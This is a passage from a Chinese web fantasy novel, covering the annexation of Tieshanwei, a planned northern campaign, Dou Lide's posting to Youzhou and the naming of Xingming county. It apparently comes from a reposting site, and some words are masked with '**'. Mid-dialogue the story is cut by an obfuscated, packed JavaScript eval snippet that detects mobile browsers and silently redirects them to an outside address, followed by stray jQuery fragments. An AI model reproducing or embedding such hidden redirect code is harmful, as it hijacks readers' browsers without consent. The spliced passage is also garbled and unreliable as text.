这还不算,就在鹿野公父子被悬首示众,北地周边势力目瞪口呆之际,就在所有人都以为黜龙军这支北伐主力会顺着北地西侧大道继续北进奔马城或者干脆解决就在身侧的铁山卫时,战场的东侧、位于谷地中的柳城,忽然就被一个叫侯君束的人绕过关口,偷入城内去了。 要知道,柳城原本的形势就很尴尬,他们跟东北面的白狼卫发生了军事冲突,南面的幽州又易主,然后黜龙帮大军马不停蹄出现在西面的落钵原上,所以自然紧张,早早就借助周边地形层层布防,同时不忘往周边各处联络。 其中,几家大的势力,诸如乐浪城、白练城,包括铁山卫这里还在打马虎眼,毕竟他们怎么都不想不到局势会变得那么快……而周遭战团则委实是趁着夏日清爽拢了不少,都跟直属兵马一起,摆在了外面层层设防。 结果呢,结果就是侯君束潜入其中一家,借壳入内,中心开花。 现在,黜龙帮的援军正从南和西两面极速而去,试图与侯君束联兵控制住局面,原本布置在要害关口的柳城直属部队更是发了疯一般往回逃,而现在引发骚乱的,正是之前得到柳城公召唤,原本已经抵达柳城和正往柳城赶的各部战团。 他们忌惮于黜龙帮的报复,又惶恐于局势的急转直下,生怕黜龙军从葫芦口再转出来,把他们整个包住在南部,自然狼狈北逃,却又因为失序和物资的丢失在白练城南头闹出了乱子。 “老夫不能理解。” 距离听到消息又过去了一整日,已经来到葫芦口的黑延放下汤碗,还是愤愤不能平。“这些战团,单拉出来看,哪个不像模像样,那些团首也都各有千秋,凑到一块兵强马壮,如何能说不做指望?就像这一次,说是你们有宗师,可柳城这边呢?跟宗师碰面了吗?不过是被偷了城,就一哄而散了!现在如此,当年大魏打进来的时候也是如此!到底怎么回事?!” 周围挂着白狼尾的骑士们也有些愤愤。 张行与白有思对视一眼,尚未开口,秦宝倒是悠哉说话了:“黑公何必愤愤,若是有一个能领头的大宗师过去,然后团结一致,李龙头那十几个营根本不够看……说不得到时候死的就是那个李龙头了。” 这厮眼瞅着是越来越松快了。 听到这话,黑延冷笑两声,竟是自己反转过来了:“那可说不定……就他们这个样子,便是大司命亲自来了,打了一两个胜仗,又有什么用?还能离开北地打到幽州去?等人家重整兵马再来,他们还在?大宗师也能一直守着不动?迟早要被人分化瓦解,各个击破的……我又不是没见过!” 秦宝“哦”了一声,不再言语。 而黑延反应过来后,也是不禁摇头。 其实,短短一个小的插曲,却把黜龙帮此番能险中求和,与荡魔卫和平合并的原因给展露了七七八八。 首先,最核心,最大的几个理由很明显: 从文化上来说北地和中原本来就是一体的,**上中原对北地的深入进取更是波涛汹涌,从未停止,外加大魏虽猝然消亡,却并不能阻止之前几百年乱世导致的人心思定,这叫历史潮流不可逆; 而从具体眼下的局势来说,黜龙帮掌握了河北、东境、淮北等人口密集的中原菁华之地,理论上确实也有军事实力吞并北地,李定的大军和幽州的徐世英就摆在那里呢,是真要打,不是虚言恫吓,这叫现实大势不可欺; 除此之外,北地镇守府八公与荡魔卫之间统属不清,镇守府八公占据最富庶的地区,掌握经济人口主动权,却是各自为据,而荡魔卫理论上一体,却被分割到各个地理要害上……这在退缩期是维系北地基本公共架构不得已的法子,却也丧失了集结力量对抗外来势力的基本体制。 三个大的理由之外,也存在几个作用不小的其他道理。 譬如说张行北地出身,黑帝爷点选的身份,外加黜龙帮那看起来跟荡魔卫类似的**体制,确实也起到了巨大作用,省下了很多糅合的步骤;再比如说北地南部三城两卫跟河北的**经济联系过于紧密了;还比如如说,大魏嗝屁的太快了,北地人现在都对大魏之前气势汹汹扫入北地的样子记忆犹新,更是愤怒于后期的横征暴敛,结果现在黜龙帮以反魏的身份建立基业,再回到北地就跟与大魏发生过激烈冲突的荡魔卫有了天然的**立场。 只能说,大魏对黜龙帮的贡献还在被低估。 至于眼下的黑延,就是被这些力量推动的标志性人物。 当年大魏北进的时候,他正血气方刚,作为亲历者与失败者亲眼目睹了中原起势王朝的强盛与残暴。 然而,他所在的白狼卫握有出海口,地方又多是丘陵地带,严重依赖商业,所以跟河北商贸联系紧密,也因此对中原局势有着更敏感且有着清晰的认知,故此,当黜龙帮寻求针对河北大魏势力的盟友时,他主动跳了出来,成为了第一个跟黜龙帮结盟的荡魔卫核心成员,并缔结了基本的通商加军事互助盟约。 而且,他还是第一个在北地对大魏官方势力动手的人。 这么一个人,天然就是黜龙帮的盟友,但即便是他,也对即将发生的事情感到不安与迟疑。 “张首席,你说,接下来北地还有大仗吗?”黑延吃喝了几口,果然还是来问。“这种挨个拔城的不算。” “路上不是说了?”张行立即作答。“关键是北部西路那边,陆夫人回去了,蓝司命也辞了职务,可见彼处是存了一些心思的,不打一仗也难吧?” “事就在这里。”黑延蹙眉道。“我现在才反应过来……张首席,我要提醒你一件事情,陆夫人行事也是出了名的,最喜欢的手段就是借力打力,自己却抽身在外,等战后再做处置,所以,真要去打的时候,未必是什么陆夫人领头了。” “她领头不领头,想要做过一场,兵马总不是假的,高手也不能是假的,都打光了,又待如何?”白有思也蹙眉相对。 “怕的就是这个。”黑延认真道。“若是一战把西北路的精华打光了,却偏偏留下了最主要反你们黜龙帮的人,岂不显得**的人冤枉?” “若是真上了战场,便无人算冤枉。”白有思想了一下,冷笑一声。“不然可就真不把刀兵当回事了。” 黑延为之一滞。 倒是张行,此时幽幽接口道:“我其实晓得黑公的意思,最好是能从容取舍,赦免特定的人,加罪特定的人,但现在我没有这个权责,不然也不会在与大司命议论荡魔卫内部问题时用那个法子……直接赦了便是。” 黑延微微皱眉:“张首席,我之前就想问你了,要是说此番横扫河北前还有人能稍微用开会举手的法子抑制一下你,但如今呢?依着你的威望,你要做什么,还有人能拦你?说句不好听的,便是我们大司命发起狠来,我们几个司命又如何,何况是你?” “话是如此,你们几位司命不也说了吗?但凡坏了规矩,损害的也是自家威望。”张行摊手道。“没必要……而且,我也没说不解决问题,北地这里,荡魔卫里面的你们自决,荡魔卫外面的这些,正好我要回一趟邺城,顺便建个国号,到时候问帮中要个在北地自行其是的权责,然后就再回到北地。那时候如果你们已经解决了内部问题,就一起过来,咱们定个范围,比如大司命还有你们几位司命,我还有李龙头外加几个大头领,一起来决定哪个该赦,哪个该杀……但话说回来,要是我回来之前,他们就已经**或者降了,就怨不得谁了。” 黑延点点头:“若是这般倒也算仁至义尽了,真要是我们这边内乱都没处置好,那边就已经打杀了,只能说他们也太没有眼力了,这般差距还硬往上撞……活该。” 张行点点头,不再言语。 且说,此时在这里说这个话是有缘故的,白天在路上双方就已经说好了,既然李定打的这么快,那黑延应该速速北上,去白狼卫动员起来,立即参与对柳城和乐浪城的攻击,这也是最好的合并方式;而张行则趁机去铁山卫老家看一看情况,不指望能直截了当的接收铁山卫,最起码要表明立场,控制一部分力量,以作震慑,这样等到黜龙军再度北进时才不至于闹出乱子。 所以,黑延会护送张行越过葫芦口,然后立即折回。 果然,两人说定,第二日就在葫芦口西侧分手,黑延自回白狼卫,张行则与白有思、秦宝一起来到了他理论上的家乡铁山卫。 铁山卫,顾名思义,是依着一座具有优良铁矿的山丘而立,实际上,铁山卫与落钵城一高一低,一工一农,一镇守府一荡魔卫,互补性的构成了北地这里最富庶一块地区的基本**、经济、文化生态。 而值得一提的是,作为北地南部地区的荡魔卫,铁山卫也同样处于思想动摇的第一线,其中最大最明显一个表征就是,铁山卫的司命朱穆,一直有心推动自己儿子继任铁山卫,以仿效旁边的镇守府八公以及幽州边缘小郡,来完成**。 坦诚说,他的前半段手法还是很无懈可击的,就是培养自己两个儿子,让他们先行建立威望,提升修为,收拢人心,掌握地方军事、经济的发言权……说白了就是,利用规则内的手段,推自己两个儿子上位。 这个方式,真不能说有问题。 那问题出在哪里? 出在两个儿子不相上下,但铁山卫只有一个,而且两个儿子的根基都在铁山卫。 于是乎,等到两个儿子都羽翼丰满,老父亲又在四五年前一场大病,多少有些精力萎缩,反而使得原本经营如铁桶般的铁山卫**开来……而且,居然不是只分成两瓣。 “是三瓣。”黄平坐在木桌旁,神色居然显得有些木讷。“还有一瓣,是你的人。” “我的人?”饶是张行如今也算见多识广,此时也一时懵住。 “你太小瞧自己了。”黄平正色道。“朱司命病弱,两个儿子闹得乌七八糟,而荡魔卫自有制度,当然对他们有些反感……只是正经司命也姓朱,依旧坐在那里,无从对抗罢了,可这不是出了个你吗?浮马渡河,赤手空拳开的如此基业,如今已经全然不逊东齐了,更兼去年那次救援,几千人哗啦啦去了一趟,亲身晓得你的架势,再回来可不就扬了名头嘛。” 张行点点头,心中醒悟,其实对方还有一点没说,那就是自己这个舅舅本人的作用……这是自己理论上的唯一至亲,又在铁山卫坐地几十年,素有威望,是一个天然的**担保人,所以才能围绕着“他”组成“一瓣”。 不管怎么说,有抓手就好办多了,怎么来都行。 但是,张行心中大定,却没有多余言语,只等自己舅舅继续说话……他一早就察觉到,对方情绪不对。 “大司命果然同意了吗?”果然,隔了好一阵子,黄平才闷闷开口。 “这也做不了假吧?”张行只能笑道。“舅舅都说了,我如今这般基业,那作假图的什么?只为了动摇一个铁山卫的决心,方便李定发动突袭?而且舅舅,你在铁山卫,也该晓得如今天下局势和荡魔卫内里的问题,有此一遭,不是大势所趋吗?” 黄平缓缓摇头,脑袋不由自主就耷拉了下去:“话虽如此,话虽如此,可如何能心甘呢?” 张行当然能理解对方心情,但舅甥关系摆在这里,反而没法摆出首席的架子来,便只能扭头去看周边,最后目光落在一个小娘身上。 小娘年纪其实与月娘差不多,却明显性情不同,此时立在黄平侧后方不免局促,而小娘身后的屋内,张行修为虽然连大宗师都觉得奇怪,但感知力倒是一如既往的出色,早早晓得那里有个正在熟睡的婴儿。 见此形状,张首席便要从这里闲话一番,打开僵局。 孰料,就在这时,白有思忽然开口了:“舅舅在荡魔卫数十年,身心牵挂于此,乃是人之常情,但现在的问题是,事情已经成了定局,而舅舅又是铁山卫中亲附黜龙帮与荡魔卫正统众人的根基……若是舅父大人不能振作,怕是反而会更加误事……舅父大人,这可是性命攸关,乃至于血流成河的事情。” 坦诚说,白有思这番话毫无技术含量,就是简单提醒局势严峻罢了,但妙处在于她的特殊身份。 天下数得着的宗师,黜龙帮内部一大派系首领、实权总管,大英皇帝的嫡长女,张行的唯一发妻……这个时候开口,反而轻易击破了张行没法击破的舅甥身份壁垒。 “白……白总管说的对,要不是忧心局势,我也不会让家里小娘带着外孙回这里躲避。”黄**而无奈。“只是到底该如何处置?” 白有思这才看向了张行。 张行笑了笑,给出答复:“怎么处置都行,处置了就行……现在就把消息放出去,告诉上上下下,荡魔卫跟黜龙帮合成一家了,以后就是我当家,我现在就在舅舅这里,请铁山卫所有人都来,三日之内,愿意来的就都到舅舅这里来见见我,只要是过来坐下喝碗汤,握个手,就算是自己人……不是说什么前途,关键是刀兵之前,总要分个敌我。” 黄平点点头,复又来问:“那些战团呢?” “只要是在铁山卫周边的,也请他们来。” “总有人不会来的……”黄平还是有些黯然。 “战团还是铁山卫里的人?”张行继续来问。 “卫里到底没有撕破脸,便是存了一些心思,也不至于在这么短时间内冒着这么大风险翻脸。”黄平认真道。“而战团那里,本来也不会有人能自作主张,可肯定有卫里的人存心不良,然后鼓动着一些外围战团来**……” “无妨。”张行依旧从容。“舅舅……战团平日里争夺场地,生意上起伏,肯定有些矛盾吧?甚至总有仇家跟友家是吧?” “这是自然。” “那就务必留心一下那些可能**战团的对头,到时候我让他们去控制铁山卫外围的局势……” “这会闹出事的。”黄平急忙提醒。 “就是要闹出事来。”张行平静以对。“舅舅,你想想,三日之内,能闹出来多少事?而少数人闹出了事,其余人不就妥当了吗?这对全局是有好处的……你要想保全铁山卫,这是最好的法子。” “不错。”白有思也开口提醒。“舅舅请想清楚,这是刀兵生死的事情,那些人自家去博,不管是自己心思还是乐意当人的刀枪,便也都由不得人了,生死也是活该。而舅舅这个时候要做的,便是抓紧时间利用三郎的身份和在这里的优势,赶紧把事情落实了,真要是拖下去,三郎走了还不能分野,会出大乱子的。” 黄平叹了口气,如何不晓得被这位外甥和大势逼到墙角的不只是荡魔卫、不只是铁山卫,也包括自己呢? 决议定下,事情就变得简单了,张行亮出身份,荡魔卫合并于黜龙帮的正式消息也传来,再加上李定之前的表演……三重压力之下,整个铁山卫立即陷入失序状态,上上下下惊疑惶恐之中纷纷来拜见张行。 朱司命的两个儿子都来了,朱穆本人没来,却也带着身体不好的借口让副司命过来了。 而张行在确定宇文万筹匆匆离开此地北进后倒是也没了多余的念想,只是一心一意、按部就班的操纵起了本地局势,这与朱氏父子的患得患失形成了鲜明对比。 他们就是不相信,这事这么简单就行了,偏偏又不敢有所大作为。 平心而论,如果张行真的是如之前跟大司命殷天奇开玩笑那般,当日以残兵败将之身过来,那他肯定会拿朱氏父子搞事情,肯定会费心费力,想着怎么见缝插针,怎么利益最大化。 说不得就能上演一出跟之前对付陈凌一般的金锥戏来。 但现在不一样了,真不一样了,雪球已经滚起来了,黜龙帮的规制真的就是之前的东齐模样,这么大地盘,而且还在席卷之势中,这个时候,朱氏父子的事情只不过是茶壶里的风暴……无论是学李定一脚踢翻茶壶,杀个干净,还是学张行现在这样,将茶壶拎起来放在一边,都无所谓了。 实际上,结果比想象中更加顺利,最终闹腾起来的只有四个战团,却又因为察觉到气味不对,在第三日之前又有两个团首孤身前来谒见张首席。 这下子只剩下两个战团了。 不过,即便是只剩下两个战团,张首席依旧没有食言……四月廿五,黜龙军如约出现在了铁山卫的边界,并且在大头领刘黑榥的带领下以其实只是象征性的三个营兵力果断发起了攻击。 这两个战团哪里还有战意? 直接便要往北面奔马城去,结果被白有思路上截住一个,斩了团首,还有一个被刘黑榥紧追不舍,部众溃散,不得已自戕谢罪,以便部属投降。 战事没有半点波澜。 随即,黜龙军顺理成章,转身就开入铁山卫那座临山之城,并在张行军令下堂而皇之要求铁山卫提供军械补给,并要求所有来谒见过张首席的武装团体首领统一号令,抽调铁山卫直属力量与战团精锐准备向北参战。 这个时候,反抗也没有意义了,尤其是黜龙军后续部队还在陆续开进,而随着北地南部三城两卫中另一卫白狼卫也旗帜鲜明的投入到了进攻柳城战斗的消息传来,就更让人丧失对抗欲望了。 于是乎,张行也不多留,再度启程南下。 这一次,身边的人就多了一点,牛河依旧留在这里协助控制局势,但踏白骑重归了秦宝领下,继续充当张首席的直接护卫,病好的极快的封常封文书也带着留在此地的一部分文书、参谋随行。 此外,还有一位来自铁山卫姓朱的客人,不是他俩儿子,而是朱司命本人,在张行强烈“建议”下,此时动身随行,准备去寻千金夫子养病去。 甚至,这里面还有张行的表妹和外甥……黄平要求的,理由是北地要打仗,他不放心……这当然没什么,可一上路张行就察觉到不对劲了,因为很多人都对张首席这个表妹和外甥的态度暧昧,不仅仅是重视,还有些避讳敏感之态。 但也马上醒悟……不是说自家这个表妹如何,而是说自己这个外甥是目前自己唯一有一定血缘关系的下一代,尤其是考虑到张行本人其余的亲属关系缺失,就更显得重要了。 偏偏白总管也在队伍里呢。 张行反应过来,却也懒得理会,反正孩子到了邺城,确实会教育环境更好一点,总不能撵回去。唯一的困惑是,他忽然意识到了一个问题,那就是无论是他,还是白有思,似乎都对生孩子这件事情没有确切的追求。 这是夫妇二人不对劲,还是怎么回事?可为什么其他人都对此没有太多反应呢? 好像,好像,帮内许多同龄人也多没有子嗣? 据说是修为越高,子嗣就越少,可这正常吗? “有个事情要告诉你们……”走到掷刀岭前的路口,早就从柳城方向过来的李定已经等在了这里,然后就在路边语出惊人。“十娘有孕在身,我已经让她提前回去了。” 张行和白有思明显都懵了一下。 然后不及恭喜,张首席就进入到了**动物模式:“这是好事,让她去邺城,等开会时推你做北面主帅一定轻松不少。” 李定愣了一下,也不知道是不是有了孩子的缘故,虽然还是嘲讽,语调却朴实了许多:“我便是将她留在身侧,你难道没本事推我到主帅?” 张行干笑了一声,却又来问:“如何数年不见开花,今日结果?” “你说为什么?”李定昂然道。“修行之事耗时耗力,所以修为之辈本就子嗣艰难,何况咱们生逢乱世,之前五六年最好的时候整日四处奔波,常年宿在军营里,聚少离多,也就是这半年,你强行压着帮里歇了半年,帮中这些头领才出了些子嗣……” 张行想了一想,总觉得哪里不对。 白有思倒是一语道破:“可是按照日期,十娘应该是在幽州乃至于在北地怀上的,跟之前半年停歇有什么关系?何况别人四处奔波聚少离多是真的,十娘却常常随你身侧,哪里要这么计较?” 李定一时讪讪。 张行倒是没计较这个,反而例行思维跳脱:“可曾取了名字?” “你在开甚玩笑?”李定一时发懵。“男女都不知道。” “若是生了男孩,就叫悟空,若是生了女儿就唤作沉香。”张行想了一想,怎么都没法将哪吒二字说出口,这不成字呀。 “悟空倒也罢了,还算有些经学影子,沉香算什么?”白有思都听不下去。“女孩子如何能用香料取名?” 张行只能点头:“那就叫李贞英。” “别胡扯了。”李定无奈至极。“我找你来不是送行,也不是说这个的,只是不好瞒着而已……张首席,张三郎,你将北面托付给我,有一个地方就显得重要了……幽州你准备交给谁?” 张行肃然一时,却又反问:“你觉得谁好?” 李定看向了白有思。 张行立即摇头:“不行,我也不瞒你,我准备让三娘去做南面元帅。” 白有思面色如常,俨然是夫妻间讨论过此事。 “若是这般,为何让三娘来大行台做总管?不继续去领兵,顺势转向南方?”李定略显不解。 “因为南面和北面不一样。”张行肃然道。“南是佯攻,北是实攻。南方本就有淮右盟的兵,咱们只要以少部分精锐攻击特定城市,沿着大江控制局面就可以,北面则是大兵团野战,是一刀毙命。所以,要让三娘先掌握类似于之前靖安台那种力量,同时让你先经营北地,做好准备。” 李定想了一想,也点头赞同:“不错,若是三娘往南路走,必然能让白横秋侧目,三娘的修为也适合在南方施展。” 白有思低头不语,也不知道是不是又想起自己的身世。 与此同时,张行微微颔首,再来询问:“三娘之外,可有人选?” “你让徐大郎留在幽州如何?”李定继续来问。“他虽有些心术不正,但仅论天赋和能耐,绝对是帮中翘楚,你看柳城的事情,他支援的极快极好,他在幽州坐定,对我助力最大。” “其一,徐大郎我要放在身边当中军元帅。”张行立即摇头。“其二,把他放到地方上对他来说对帮里来说都未必是好事。” “那……要不把幽州一并划给我。”李定图穷匕见。 “不可以。”张行摇头以对。“不光是帮里不能同意,更重要的一点是,一旦把幽州划给你,白横秋就会警觉了。” 李定沉默以对,半晌方才颔首:“有道理……那你准备安排谁来幽州?” “窦立德如何?”张行也不遮掩了。 “窦立德… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168016|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” “窦立德这个人好就好在他擅长处理关系,而且幽州这般大,能调过来的人不多……” 李定终于无话可说:“也罢,窦立德总比单通海强……” “我回河北,先见一见雄天王、徐大郎、窦立德、洪长涯这些人,透透风,协调一下,这些是帮里真正的核心,总得尊重他们的个人想法,然后再回邺城。”张行想了一想,给了最后答复。“但你放心,一切的布置都要服从咱们的大方略,我就是要借你李四郎的雄迈来定胜负,若是窦立德不来,我就把小周调来。” 李定叹了口气,只能点头:“你最好说话算话……最后一件事,你回邺城不能待太久,要快点发兵支援,按照你之前传来的说法,听涛城前要有一场大战,战场已经铺开了,我兵力不足。” “这是自然。”张行点头。“北地的事情,无论如何不会拖到冬日的。” 二人说定,终于放行。 而张行这一次则是畅通无阻,直入幽州。 抵达幽州,喊上镇守幽州的徐大郎说了些话,问了下河北情况……说是询问,其实张行此番进入北地只不过是一个月,并没有哪里翻天覆地,甚至河间和幽州的人事安排都没妥当呢,唯一的重大变化是单通海进入晋北,联合洪长涯与大英的兵马在山地里做了一场,却不分胜负。 当然,对于黜龙帮而言,打通晋北,本身就是一个胜利。 于是张行复又四下传出哨骑,点了河北北部周边几位要害人物,要他们来见,却不是往幽州,而是往南下道路上雄伯南雄天王的驻地。 也就是当日徐水之战黜龙帮的战后大本营处。 更加庞大队伍继续向前,抵达彼处时已经是五月上旬,天气愈发炎热起来,好在此地作为之前一战的战后大本营,很多建筑都齐全起来,围绕着之前他们屯驻的市集,甚至有些城市的感觉了。 而因为距离和轻车简从的原因,此时窦立德、洪长涯、冯无佚都已经抵达,只单通海还在晋地驻扎。 张行见了几人,却没有搞什么场面话,也没有着急公开谈论正事,而是直接让三人先回营,自己则是先带着白有思、徐世英与雄伯南匆匆做了说明,算是先行得到了雄伯南的认可。 随即,就在当晚,开始分批召见那三人。 先见的是窦立德。 窦立德来到此处,只见星光之下的一个小院,外面全是踏白骑,秦宝亲自领着巡视,内里却居然只有张、雄、徐、白四人,联想起白日不急脸面的将自家三人各自撵回,却是心中猛地一跳,晓得是要说关碍大事,便打起十二分精神来,以至于张首席亲手给递了一碗冰镇酸梅汤都忘了喝。 而送完酸梅汤后,张行便也开门见山:“窦龙头,马上去邺城,有个临时的大会,我们想请你会后转到幽州去起行台,做幽州行台的军政指挥。” 坐在对面条凳上的窦立德听到这话,一半放下心来,一半却也有些犹豫。 放下心,自然是因为幽州位置紧要,地盘也大,相比较留在之前的将陵,肯定是往上走的,而且他也有信心梳理好幽州复杂的关系,安抚好本地人心,甚至将这些人收拢起来,围绕着他窦龙头一起进步。但犹豫,也是有道理的,这几个月窦龙头自问也有些思索……黜龙帮横扫河北如卷席,甚至如今北地也大举入手,这种情况下,继续留在地方上做个管着几郡地盘的行台指挥,果然是进步吗? “首席,天王,照理说幽州极盛大,让我来管,是首席信重我。”窦立德没有犹豫,直接提出了自己的想法。“可是,我本就是河北义军出身,又在河北做了龙头,大行台里一直对我有说法,说我要挟河北地方来自重,现在又去幽州,若是经营久了,怕是闲话更多……首席,我不怕,不怕累,只怕被帮里嫌弃,若是可以,我倒是想去大行台做些事情。” 张行点点头,却看向了徐世英。 徐大郎即刻开口,却说了一句看似不相干的话:“窦龙头,当日我们黜龙帮起兵,喊得是剪除暴魏,安定天下,到了现在剪除暴魏实际上已经成了,可安定天下还没有,替天行道也在路上,你觉得咱们如何能安定天下,又如何替天行道?” 窦立德一愣,缓缓来言:“我觉得,只要能做到替天行道,就能收拢人心,壮大力量,到时候自然能安定天下。” “是这个道理,但我问的不是这个意思,而是问具体如何操作?”徐大郎不由失笑。“比如军事战略上的操作与安排。” “徐副指挥有话直说。”窦立德无奈至极,他懂个屁的具体军事操作。“军务上我素来苦手。” “不瞒窦龙头,其实张首席作为北地人,却是早早起了一个基本的念头,来对付咱们最大的敌人,也就白英。”微微风中,徐大郎先以手指西南。“东都是天下之元,不得不争,而司马氏在东都,虽然有识之士都晓得,他们迟早会为他人做嫁衣,可司马正之强,东都之坚固,粮储之深厚,真要是争,怕是要血流成河,要精疲力竭,要命悬一线的……所以,首席的意思是,他率河济之众,以大行台为辅,不能说佯攻,而是耗在彼处,拖住司马正与白横秋这两家主力,唯一的要求便是不能让白横秋得了东都天元。” 窦立德没有说话,而是极为严肃的认真听讲。 “随即,以李定李龙头为首,集北地之众,辅以河北之经济,渡苦海,伐巫地,然后南下取白英之脊,则大事可成。”徐世英继续来言。“若有必要,还可以遣一大将南下,扼大江,逆流而上,分白氏之力……此所谓,明取东都,暗渡苦海之计!” 窦立德懵在了那里,他的军事眼光没法让他去评判这个计划的优劣,但是他很快就又意识到,这种级别的战略计划从来不是优劣的问题,而是可行性。 且只看眼前四人,俨然都是认可的。 没错,这就是张行一直以来的一个军事战略计划,从一开始的腹案,到与白有思的私下讨论,再到必然的执行人李定认可,然后是与陈斌、徐世英、马围三人的透露,接着是此番北地之行,白有思和张行分别亲眼目睹了北地的战争潜力和客观可行的地理条件,终于是决定将方案在最高层摊开了。 其实,这个计划并没有什么真正出奇的地方,这种局势下,东都必然是要争的,但因为司马正的存在,导致东都这个必争之处太硬了,硬到让人生畏偏偏还不能放弃。 那还有什么法子呢? 只能是咬住东都的同时,从南北两个方向找法子。 南边好说,不止是黜龙帮会派大将南下,白横秋也一定会派大将以方面之任从大江处绕行,以图包围东都。 而北面呢,北面当然是渡苦海,借巫地再南下……只不过,迄今为止,这个世界还没有人进行过这个路线的尝试而已。 这些人之前同意,本质上也是因为就没有别的路可走。 “老窦。”张行见状缓缓提醒。“这个策略,目前只有这里的几人和李定李龙头、陈斌陈总管那里有些知晓,马分管也晓得额一些,你是第八个知道的……有什么看法吗?” “要我说看法,我如何能与首席、李龙头、徐副指挥相比,若是你们觉得可行,那就可行。”窦立德咬牙道。“所以,让我去幽州,是要为李龙头做遮掩和辅助?” “是。” “那我愿意去!”窦立德霍然起身。“我怕的,只是自己被帮里空置,不能尽力做事情罢了,若是能为北路主攻辅助,自然尽心尽力。” “好!”张行立即颔首。“有你这句话就行了……请冯公和洪龙头来。” 窦立德如释重负,重新坐回去,本想问问张行,自己到幽州,将陵行台怎么处置?谁来接手?但目光一扫,发现自己坐的条凳与对面四位对着,明显是被召见的样子,不由心中微动,于是站起身来,从容挤到了斜对面徐大郎凳子上,乃是摆出了一副等待召见他人的形态。 也不嫌天热的。 而片刻后,冯无佚与洪长涯过来,后者端着冰镇酸梅汤落座的时候,还觉得奇怪,为何自己屁股下面的凳子是热的……难道有人坐过不成? 见到两人,张行也没有多余客套,开门见山,直入主题:“洪龙头,自从当日白总管晋北一行,助你起事以来,晋北一直立场坚定,自认黜龙帮一脉,当日遣尉迟融来救,更是铭记于心,何况你谨守晋北,多年不失,委实了得……现在帮内联通一体,你可有想法?是要入邺城大行台做事,还是继续在地方立行台?” 洪长涯晓得这是题中应有之义,却是立即起身行礼,说出了自己早就坚定好的想法:“首席明鉴,我们这些人之所以起事,是因为当日白横秋为政偏狭,以晋北地广人稀,纷乱难治,非但不救灾荒,反而将我们这些所谓晋地纷乱之辈尽数撵了过去……首席,无论如何,请留我们在晋地前线。” “好。”张行点头。“那来武安如何?” 洪长涯一愣,还没开口的冯无佚也愣住。 “武安行台,原本有武安郡、襄国郡、赵郡三郡,我现在加上恒山郡,一并与你,请你替我防备兼渗入晋地……如何?”张行继续来问。 洪长涯仔细一想,也一时无话可说。 这不仅仅是因为这个行台人口、经济、地盘都比晋北穷荒且不全的三郡要好,也不仅仅是因为这三郡也的确符合自己刚刚要求的对晋地前线,挨着自己老家,更重要的是,这个行台的设立,明显是充当了整个河北精华之地防护的……仅此一条,不能说人家有什么歧视,或者什么不信任的说法。 说白了,是收编,是兼并,是要吃掉你,但条件很好,面子里子都有……唯独,唯独若是信任,让自己留在晋北又如何呢?不更省事吗? 一念至此,洪长涯认真来问:“若是这般,敢问张首席,李龙头又去何处安置,晋北又谁来接手?” “李龙头要担任北面元帅,扫平北地之前,这个行台也只是空置,我也与他说好了。”张行说着,看向了雄伯南。“至于晋北,我想让徐州行台的副指挥周行范接手。” 雄伯南想了想,也只是点头。 洪长涯当然知道周行范是张行心腹中的心腹,却是愈发不解,这个晋北三郡这么穷,只守着苦海…… 而这个时候,似乎是猜到了对方想法,张行也笑道:“不瞒洪龙头,我准备让周行范适应起来后,将幽州靠近苦海的地方一并分过去,让他仿效当年的于叔文……届时,晋北不止是应对晋地的前线,也是借着苦海控制北地局势的要害” 洪长涯立即点头:“张首席若有此番计量,在下无话可说,愿意移镇。” 张行这才看向冯无佚:“冯公,武安行台的事情还要劳烦你多多协助洪龙头。” 冯无佚更是无话可说。 事情到了这里,似乎妥当,倒是窦立德还记得将陵行台的时候,便正色来问:“首席,将陵行台可有安排?” “有。”张行笑道。“将陵不设行台了,济北也是,河间也不设了……便是魏郡也不设了,这些个远离前线的行台全都撤离,然后统一归大行台直属,军政分离。” 窦立德一惊,复又来问:“可要是这般,柴、魏两位龙头要如何,都入大行台吗?” “大概如此吧。”张行言辞闪烁,且忽然转移了话题。“诸位,你们说以这个地方的规制和新纳的屯田兵,足以新建一个县出来吧?” “是。”雄伯南立即接口。“我之前就与大行台那里说了,这里安置的俘虏太多了,部队往来,物资运输,也把这里给带起来了,可以专门派人来管……是可以新建一个县。” “那我来起名字如何?”张行端起酸梅汤起身自顾自言道。“三辉分日月,普照天地,而日月合为明,可见三辉既明……黑帝爷只敬天地人,我们后人不敢这般,还要敬一日二月四御,此地就叫做兴明县如何?” 众人尚有些发懵,却先觉得周围风起,晃动星野,而头顶双月,虽非月中,却也莫名更加明亮起来,白有思更是猛地站起身来。 这个时候,张行端起酸梅汤一饮而尽,然后举空碗对月:“三辉流转,大明终始,四御分野,则黜龙以登天……诸位,若是能尽得天地运转之机,那我大明天下无敌呀!” 几人终于醒悟,窦立德更是莫名有那么一丝心痛……大明是个什么鬼呀?非得蹭三辉,多俗啊!他都想好了的,叫大夏多好! PS:大家国庆快乐发大财! 第六十二章 **行(5) 五月上旬,张行继续赶往邺城。 雄伯南、徐世英、窦立德、白有思、洪长涯、冯无佚等帮内要害人物皆随行。而按照要求,之前在兴明县便发了军令,要求除了北地以外的各处按下兵戈,谨守待命,单通海、伍惊风、牛达、程知理、周行范、王焯等实际上的军政一把抓封疆全都要带着尽可能多的下属来邺城相见,燕山以南各处军将也要汇集。 而为了确保有足够的人员能够汇集,明明北地还有战事,张行也还是稍微放缓了一些行程。 就这样,到了五月中旬,走到邺城前时,连路程较远的单通海都从晋北追了上来,幽州、河间的降人也都跟上了这个行列,而抵达邺城时更是遇到了万人级别的出城相迎。 说实话,场面挺震撼的,河北刚刚投降的这批人几乎要下跪了,只是**素养摆在那里,晓得自己是降人,愣是等别人先跪的时候没等到。 “太招摇了。”张行居然没有生气,但也不是太高兴。“下不为例……定个规矩,出迎不能劳动普通百姓,也不能动用驻军和有低阶官吏,最好专指两队兵,做个迎接的仪仗。” 典型的张首席处事风格,但不知为何,面对着一如既往的张首席,来迎接的众人中却明显有些反应古怪……有不少人有如释重负,有人好像则似乎有些失望,还有些人莫名紧张。 